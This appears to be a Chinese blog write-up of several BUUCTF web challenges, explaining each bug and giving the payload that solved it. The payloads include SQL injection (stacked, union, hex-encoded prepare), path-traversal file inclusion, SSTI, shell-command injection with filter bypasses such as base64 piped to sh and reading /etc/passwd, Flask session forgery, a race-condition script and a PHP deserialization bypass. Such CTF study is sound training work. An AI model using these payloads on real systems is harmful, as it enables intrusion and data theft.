前言

最近好久没刷CTF题了,其实BUUCTF这个平台我也是最开始的用户之一(uid前20,懒狗石锤了…),可是一直没有时间能够好好的刷题,今儿总算时间充裕,打算花些时日,记录下自己在BUU刷题的经验。

刷题之旅

[HCTF 2018]WarmUp

打开题目页面,习惯性右键查看HTML源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->

<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

得提示:source.php,访问之~得到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

// 判断参数是否存在
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

// 白名单判断
if (in_array($page, $whitelist)) {
return true;
}

// 字符串切割,截取?之前的字符串,若无则不截取
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //末尾添加?防止未找到报错
);

// 白名单判断
if (in_array($_page, $whitelist)) {
return true;
}

// Url解码
$_page = urldecode($page);

// 再次切割
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

// 白名单判断
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

访问source.php?file=hint.php得到提示:flag not here, and flag in ffffllllaaaagggg

本题难点就是得想到如何利用字符串切割绕开白名单判断且能任何文件包含,其实也很简单:source.php?file=hint.php?/../任意文件即可。

EXP: source.php?file=hint.php?/../../../../ffffllllaaaagggg

[强网杯 2019]随便注

注入题,老规矩,先来个单引号试试:

题目页面

尝试老套路拼接union select之后发现被拦截了,拦截代码:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现select被禁止了,这种情况下,通常的注入方法,如盲注报错注入等都在这不好使了。

直接说解法吧,这里是堆叠注入

爆库:1';show databases;#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

爆表(当前数据库):1';show tables;#

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

words表应该就是测试数据,也就是该条语句的from接的应该就是words,那么flag应该在1919810931114514表中了。

select关键字被拦截掉了,如何才能读取数据呢

解法一:handler

EXP:

1
2
3
1';handler `1919810931114514` open as `yunenctf`;handler `yunenctf` read first;#
# handler `1919810931114514` open as `yunenctf`; 将数据表载入并将返回句柄重命名
# handler `yunenctf` read first; 读取指定句柄的首行数据

解法二:重命名rename

此方法有一定的危险性,若操作失败极容易损坏环境,请在公共靶机操作时注意查看payload。

首先查看words表下的字段信息:1'; show columns from words;#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

共有两字段,分别是id与data字段;

查看1919810931114514表的字段信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

只有一个flag字段

EXP:

1
1'; rename table words to word1; rename table `1919810931114514` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
  • rename table words to word1; 将words表重命名为word1
  • rename table `1919810931114514` to words; 将 1919810931114514 重命名为words
  • alter table words add id int unsigned not Null auto_increment primary key; 为words表添加id字段并作为主键
  • alter table words change flag data varchar(100); 将words表的flag字段更名为data

解法三:预编译prepare

由于select被拦截,故我们可以选择将select * from `1919810931114514`给转成16进制并存放到变量中,接着进行预编译处理并运行。

EXP:

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

[SUCTF 2019]EasySQL

这题有点考脑洞的感觉,关键是你得猜出来他的SQL语句是怎么个拼接法。

select $_REQUEST['query']||flag from Flag

怎么猜呢?

  • 首先我们发现本题无报错信息,且任意非数字开头的输入均无返回。
  • 其次尝试1;show tables;#等payload发现可以返回,堆叠注入存在,但是测试发现from、表名Flag、0x、handler被拦截,看来本题不想让我们能简单地以堆叠注入通过。
  • 尝试输入1,2,3,4,发现返回内容为Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 ),可判断出注入位置。
  • 尝试输入1,2,3,0,发现返回内容为Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 0 ),可以判断最后的0应该是被拼接上了||或字符。

解法一:*

通过堆叠注入的show tables可以知道,当前执行命令的表即为唯一的Flag表,故flag信息应该也在该表里边。输入*,1即可返回该表的所有字段数据。

EXP:*,1

解法二:pipes_as_concat

据说此解才是预期解orz,set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串。

通过将||符号的含义改变成拼接字符串即可带出flag的值(如果是||其他东西就不行了)。

EXP:1;set sql_mode=pipes_as_concat;select 1

[极客大挑战 2019]EasySQL

cl4y师傅写的题,出的还算简单,打开题目就亮瞎了我的狗眼,不愧是羽哥哥。

EasySQL题目页面

其实这个页面没啥用,真正功能在check.php。随便输入一个数据:check.php?username=1&password=1,提示用户名与密码错误。

老规矩,单双引号与反斜杠走起,尝试单引号时就报错了。

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

通常的登录判断实现有两种方法:

  • 在where语句后拼接username与password,判断是否返回数据的条数,若为0即账号密码错误。
  • 先获取数据库中对于username的密码,再与password参数做比较。

而这里是第一种判断方法,可以通过尝试在username和password单独加单引号,发现都会返回报错信息可以猜测出。

搞懂了这点这题就很简单了,EXP:

1
check.php?username=1%27%201%3d1%23&password=2

[护网杯 2018]easy_tornado

一看到tornado经常刷题的师傅(老赛棍)就知道了,SSTI必不可少。

打开题目首页映入眼帘的三个跳转链接:

/flag.txt
/welcome.txt
/hints.txt

分别打开得到:

  • flag in /fllllllllllllag
  • render
  • md5(cookie_secret+md5(filename))

观察URL可以发现:file?filename=/hints.txt&filehash=b40f21b84d8adb13a98b455421e19522

很明显,我们只需要找到cookie_secret就可以读取fllllllllllllag文件获得flag,而这需要通过SSTI获得。

SSTI模板注入位置:error?msg=Error,报错页面。报错页面存在SSTI也是常考点了

老规矩尝试49,发现被拦截了,返回ORZ,把\*去掉后确实能返回77,说明的确存在SSTI。

经过尝试,发现拦截了_,(),[]等,命令执行的路算被堵死了。

这里的考点就是tornado的handler.settings对象

在tornado中

handler 对象 是指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所以所有handler.settings就指向RequestHandler.application.settings了!

而在模板中,handler是可用的,故访问:error?msg=,记得得到cookie_secret。

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e23c0c77-a56a-444d-a44b-e74ee6ce5ba5'}

所以/fllllllllllllag对应的hash就为md5(cookie_secret+md5(‘/fllllllllllllag’)),即:c4a22e606c667e494b34c926adbc0a42

EXP:

1
file?filename=/fllllllllllllag&filehash=c4a22e606c667e494b34c926adbc0a42 #此处由于cookie_secret不同需要自己走一遍流程

[极客大挑战 2019]Havefun

签到题,无考点。

EXP:/?cat=dog

[RoarCTF 2019]Easy Calc

打开题目,邮件查看HTML源代码,发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

访问calc.php,得到如下源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

可以看到,这是个命令执行题,如何绕过黑名单执行命令是本题的考点。

经过尝试后发现,当num参数传入字母时便会被WAF拦截。这里有两种方法来绕过:

法一:PHP黑魔法%20num

PHP在接受请求参数时会忽略开头的空格,也就是说?%20%20num=a相当于$_GET['num']=a的效果。

WAF判断的参数仅是num,而对于%20num他是不做拦截的。

法二:HTTP走私攻击

这也是WAF绕过的老法子之一了,用在这里也是正常的操作。

HTTP走私

而对于单双引号被过滤的情况如何表示字符串,由于PHP的灵活性有挺多的法子,这里列举两个:

  • 一是利用chr()等转换函数,将ascii码转成单个字符串在用.拼接。
  • 二是利用~取反等符号,如~%9e就代表字符串a

EXP:

1
2
calc.php?%20num=var_dump(scandir(~%d0)) // 列出根目录下的全部文件名
calc.php?%20num=highlight_file(~%D0%99%CE%9E%98%98) // 读flag文件

[极客大挑战 2019]Secret

打开题目,啥信息都没有,不清楚考点。老规矩,先查看返回头、HTML源代码,若无结果再开扫描器。

题目页面

在HTML源代码处发现提示:

1
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

打开/Archive_room.php文件,得:

跳转链接

点击之后发现被跳转到了end.php,易知action.php返回了跳转信息。打开Burpsuite抓取数据包重放得到:

Burp抓包重放

访问之,得PHP源代码一份:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
// 简单防搅屎措施
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

很容易就知道此处的考点应该是LFI读文件,EXP:

1
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到Base64编码过的flag.php源代码,解密之即可得flag。

Base64解码

[HCTF 2018]admin

这题出的是真的不错,学到了很多东西,多刷好题还是有用的。

打开题目,在首页的HTML源代码处发现注释:

1
<!-- you are not admin -->

猜测获取flag需要登录admin账户,我们先注册随便一个账号登录进去看看。

在change_password功能页的HTML源码中发现注释:

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

这里贴一下主要源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response

@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
logout_user()
return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':

flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)

def strlower(username):
username = nodeprep.prepare(username)
return username

解法一:条件竞争[未复现成功]

此解法感觉是错误的,不过看飘零师傅的WP有详细描述,我这边复现没成功,若有了解的师傅欢迎找我讨论 :)

我们注意到,登录函数的写法有点奇怪。通常来说,SESSION存取登录成功的用户信息是在验证通过提交的账号与密码之后的事情,但这里的代码确实先将用户名存入SESSION中,不符合常理,可能存在绕过的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
# 通常验证通过再存入SESSION
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

同时,对于修改密码函数来说:

1
2
3
4
5
6
7
8
9
10
11
12
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

是从SESSION中获取用户名的。

这样的话就存在一种可能,就是当我们change函数执行到name = strlower(session['name'])之前,我们已退出当前用户,并以错误的密码尝试登录admin用户,此时session['name']的值为admin,change函数便将admin账户的密码给成功修改了。

贴一下利用脚本,由syang@Whitzard编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading

def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')

def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')

def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()

if __name__ == "__main__":
main()

说明一下,此方法由我多次测试均不能修改admin的密码。我认为由于flask客户端session的特训,及时在change函数获取session['name']之前通过login函数修改了session['name']的值,但是change函数取到的值仍不会受到影响。flask的session存在客户端的Cookie之中,视图函数获取session相当于去解析其对应的请求体中的Cookie字段,而不是存在服务器端的session文件中,故在整个change函数里,session的值都不会改变,并不含产生竞争。

解法二:Unicode欺骗

我们注意到,在代码里,此处用到的一个自己定义的字符转小写函数。

1
2
3
4
5
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

def strlower(username):
username = nodeprep.prepare(username)
return username

我们再去requirements.txt看一下这个库的版本是多少:

1
Twisted==10.2.0

而我们去官方的仓库:https://github.com/twisted/twisted/releases可以发现,在当时(18年)Twisted最新的版本为18.7.0

这两个版本差别也太大了,而且专门导入一个库来进行字符转换感觉也很有问题。

一番查询后可以找到:https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

文中指出,在低版本的Twisted库中nodeprep.prepare会对特殊字符ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ(small caps)进行如下操作:

1
ᴀ->A->a

可以发现ᴀ并不是被转成a而是大写的A,那么我们注意到,login在取参时会进行一次strlower转换且change又再一次进行strlower转换。

如此一来我们可以这样操作:

1
注册ᴀdmin用户(实际注册的用户是Admin)并登陆->以ᴀdmin用户名登陆->session存的用户名是Admin->更改密码时获取到的name为admin->成功修改admin的密码

解法三:Session伪造

参考p牛文章:https://www.leavesongs.com/PENETRATION/client-session-security.html

由于flask客户端session的特性,且session存储方式类似JWT,仅仅只在末尾拼接了相应的hash作数据校验,故session的内容对于我们来说是可视的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

又因为我们在config.py文件中可以发现:

1
2
3
4
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

SECRET_KEY可能为ckj123,如此一来我们便可以生成相应的hash拼接上我们的伪造的数据达到伪造session的作用。

利用脚本:https://github.com/noraj/flask-session-cookie-manager

[极客大挑战 2019]LoveSQL

打开题目,看样子应该是前面那道简单题的简单升级版。

LoveSQL题目页面

随便输入一些数据,跳转到:/check.php?username=1&password=1

老样子,在username与password分别单独加单引号,发现均返回错误。说明应该是之前讲的第一种判断逻辑。

老EXP尝试:username=1'%20or1%3d1%23&password=1,成功登录,返回了管理员密码的密文值,看长度应该是MD5。

1
2
3
4
5
Login Success!

Hello admin!

Your password is '5712153fef7655da3f5bf3af7ddf464b'

但尝试MD5解密失败,结果发现居然是明文,不过改换admin登录也没啥用,结合题目意思应该需要我们进行跨表注入。

联合注入经典步骤:

判断字段数

1
/check.php?username=1'%20or1%3d1order%20by%20{字段数}%23&password=1

当尝试字段数为4时,返回报错信息:

1
Unknown column '4' in 'order clause'

尝试3时返回正常,说明union前边的语句获取的字段数为3。

查看回显位置

1
check.php?username=1%27union%20select%201,2,3%23&password=1

回显数据:

1
2
3
Hello 2!

Your password is '3'

我们选择在2字段处继续回显数据(任意选择)

爆库名

1
1' union select 1,database(),3 #

爆表名

1
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

爆列名

1
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' #

取数据

1
1' union select 1,group_concat(username,password),3 from l0ve1ysq1 #

成功获得flag。

[GXYCTF2019]Ping Ping Ping

经典命令执行题了,这里简单总结一下。

  • ${IFS}、$IFS$任意数字,可充当空格。
  • <、>可取代空格,如cat<flag.php
  • fla\g.phpfl*g.phpfla?.phpfl'a'g.php均可被认作flag.php
  • {OS_COMMAND,ARGUMENT},如:{cat,/etc/passwd}
  • ;a=g;cat fla$a.php;,临时变量可做字符串拼接。
  • cat fla${n}g.php,n变量并未赋值,空变量拼接绕过空格。
  • 通配符:[a-z]、[abc]、{a,b,c}类似*、?的功能,fl[a-z]g.php可取到flag.php
  • 编码转换:echo 'Y2F0IGEudHh0Cg=='|base64 |(ba)shecho "63617420612e7478740a"|xxd -r -p|sh
  • tac命令相当于cat的镜像命令,取到的内容是倒序的,从最后一行取到第一行;rev命令是cat完全相反,从最后一个字符倒序取值。

分隔符:

1.&,& 表示将任务置于后台执行。
2.&&,只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|,| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||,只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;,多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
引自:https://blog.csdn.net/qq_42812036/java/article/details/104297163

回到题目本身:

先列下目录:?ip=1;ls

1
2
3
PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php

直接读取flag.php失败:1;cat%20flag.php

1
fxck your space! # 拦截了空格

使用$IFS尝试代替绕过:?ip=1;cat$IFS$1flag.php

1
fxck your flag!

转去读index.php文件查看源代码再做打算:?ip=1;cat$IFS$1index.php,得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

过滤了很多符号,空格,bash关键字(改用sh执行),.*f.*l.*a.*g.*贪婪模式判断f|l|a|g的顺序不能出现。

这里我们使用$IFS$数字代替空格,而.*f.*l.*a.*g.*的绕过有下边三种方法。

变量拼接法

1
?ip=1;u=g;cat$IFS$1fla$u.php

编码转换法

1
?ip=1;echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh

反引做参法

1
?ip=1;cat$IFS$1`ls` #打开工作目录的全部文件并返回内容

[极客大挑战 2019]PHP

打开题目,无提醒,考点模糊的情况下:先查看响应头与HTML源代码,还是无头绪再进行文件扫描。

这里使用dirsearch扫描到有www.zip,访问之将源码down下来,这里贴个关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#class.php
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
1
2
3
4
5
6
#index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

本地打开phpstudy开个简单的服务器,复制class.php文件并添加如下代码:

1
2
$a = new Name('admin',100);
echo urlencode(serialize($a));

访问得到实例$a的序列化值(URL编码):

1
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

解码之后(不可见字符不处理)是这样子的:

1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

此处用到一个漏洞(CVE-2016-7124,影响版本PHP5<5.6.25,PHP7<7.0.10),当反序列化字符串中声明的属性个数大于实际提供的属性时,__wakeup函数并不会执行。

简单地说明这个漏洞就是,PHP底层在编写反序列代码时,将__wakeup函数的调用放在解析字符串功能之后,而如果解析字符串出现错误时就会直接return 0;,从而其后边的__wakeup魔法函数便调用不上。至于为何是修改变量个数,是因为若修改如变量名长度,会导致解析字符串的关键函数pap_var_unserialize出错,并将释放当前key(变量)空间,导致类中的变量赋值失败。而如果只是修改变量个数的话,便可以使得不出现上述错误而导致赋值失败,也可以让解析字符串功能出错返回0。

故EXP:

1
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

后记

好久没刷题了,真的生疏了很多。不仅很多很简单的点到不太记得了,甚至连简单的SQL题做的时候都愣了好一会儿,有点“无从下手”的感觉,看来平时还是得多话时间来刷刷题,而且从这次的刷题中,能明显看出自己对于许多考点都不熟悉,唉,还是太菜了。

参考